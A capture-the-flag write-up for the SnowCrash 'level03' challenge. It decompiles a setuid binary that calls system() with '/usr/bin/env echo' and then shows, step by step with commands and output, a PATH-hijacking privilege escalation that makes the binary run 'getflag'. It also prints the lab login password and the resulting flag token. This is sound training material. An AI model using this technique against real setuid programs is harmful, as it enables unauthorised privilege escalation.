110 lines
3.7 KiB
Markdown
110 lines
3.7 KiB
Markdown
# Level 03
|
|
|
|
## how to login
|
|
|
|
username: level03
|
|
|
|
password: kooda2puivaav1idi4f57q8iq
|
|
|
|
## Goal
|
|
|
|
run `getflag` as user `flag03`
|
|
|
|
## Actually doing something
|
|
|
|
As usual:
|
|
|
|
```bash
|
|
level03@SnowCrash:~$ ll
|
|
total 24
|
|
dr-x------ 1 level03 level03 120 Mar 5 2016 ./
|
|
d--x--x--x 1 root users 340 Aug 30 2015 ../
|
|
-r-x------ 1 level03 level03 220 Apr 3 2012 .bash_logout*
|
|
-r-x------ 1 level03 level03 3518 Aug 30 2015 .bashrc*
|
|
-rwsr-sr-x 1 flag03 level03 8627 Mar 5 2016 level03*
|
|
-r-x------ 1 level03 level03 675 Apr 3 2012 .profile*
|
|
```
|
|
|
|
We have a funny binary !
|
|
having the `s` permission in the executable spot means it is setuid
|
|
|
|
what is setuid ? it means that when executed, it runs as the user that own the binary
|
|
|
|
What a coincidence ! The user that own the binary is `flag03`
|
|
|
|
lets look at what happens when we run the binary without anything special:
|
|
|
|
```bash
|
|
level03@SnowCrash:~$ ./level03
|
|
Exploit me
|
|
```
|
|
|
|
Oh yes I will !
|
|
|
|
```bash
|
|
level03@SnowCrash:~$ file level03
|
|
level03: setuid setgid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0x3bee584f790153856e826e38544b9e80ac184b7b, not stripped
|
|
```
|
|
|
|
We already knew all the useful information here, but at least we have a proof that it is an "normal" executable (ELF is what linux uses for binaries), it is indeed setuid (and setgid). No stripped means that we have a minimum of debug info (like symbol names)
|
|
|
|
What to do ? Lets bring out the big gun and start fully RE the binary.
|
|
How ? Using Ghidra. Ghidra is an NSA program made to take a binary, and look at it very closely. It can try to produce C-looking code that matches the assembly, and allow you to rename variables, function and all
|
|
|
|
```c
|
|
int main(int argc,char **argv,char **envp)
|
|
{
|
|
__gid_t __rgid;
|
|
__uid_t __ruid;
|
|
int iVar1;
|
|
gid_t gid;
|
|
uid_t uid;
|
|
|
|
__rgid = getegid();
|
|
__ruid = geteuid();
|
|
setresgid(__rgid,__rgid,__rgid);
|
|
setresuid(__ruid,__ruid,__ruid);
|
|
iVar1 = system("/usr/bin/env echo Exploit me");
|
|
return iVar1;
|
|
}
|
|
```
|
|
|
|
Ghidra dissembled the main function, and it looks like this.
|
|
Here it is valid C code, but sometimes ghidra can't produce valid C code because the assembly is missing data, so we were lucky !
|
|
|
|
Looking at this, it seems that the program does a little UID dance (and GID too), but we kinda don't care.
|
|
It doesn't seems to be exploitable in itself (but we do have to note that this
|
|
actually makes the binary a privilege escalation vector!)
|
|
|
|
What is important is the `system("/usr/bin/env echo Exploit me")` line. This launch a new process.
|
|
Looking at the `system` function, it behave likes an shell command (as in it calls a shell behind the scene), so we can have fun
|
|
|
|
the `/usr/bin/env` is very powerfull, but what we will use is the fact that it tries to find
|
|
the command passed as an argument in the `PATH`
|
|
|
|
but WE own the PATH variable. Nothing prevents us from slipping a new directory in the `PATH`, and having an `echo` command in it
|
|
|
|
lets do that
|
|
```bash
|
|
level03@SnowCrash:~$ mkdir /tmp/path
|
|
level03@SnowCrash:~$ cat <<EOF >/tmp/path/echo
|
|
> #!/bin/sh
|
|
> echo "I'm in !"
|
|
> EOF
|
|
level03@SnowCrash:~$ chmod +x /tmp/path/echo
|
|
level03@SnowCrash:~$ PATH=/tmp/path:$PATH ./level03
|
|
I'm in !
|
|
```
|
|
We are indeed in
|
|
|
|
now we can do lots of stuff, and we can basically call getflag.
|
|
|
|
I want to be a bit sneaky, so lets make it call getflag directly
|
|
|
|
```bash
|
|
level03@SnowCrash:~$ mkdir /tmp/path
|
|
level03@SnowCrash:~$ ln -s $(which getflag) /tmp/path/echo
|
|
level03@SnowCrash:~$ PATH=/tmp/path:$PATH ./level03
|
|
Check flag.Here is your token : qi0maab88jeaj46qoumi7maus
|
|
```
|
|
We just made a symlink in our naughty directory to the getflag binary, so when the "echo" got launched, it was actually `getflag` !
|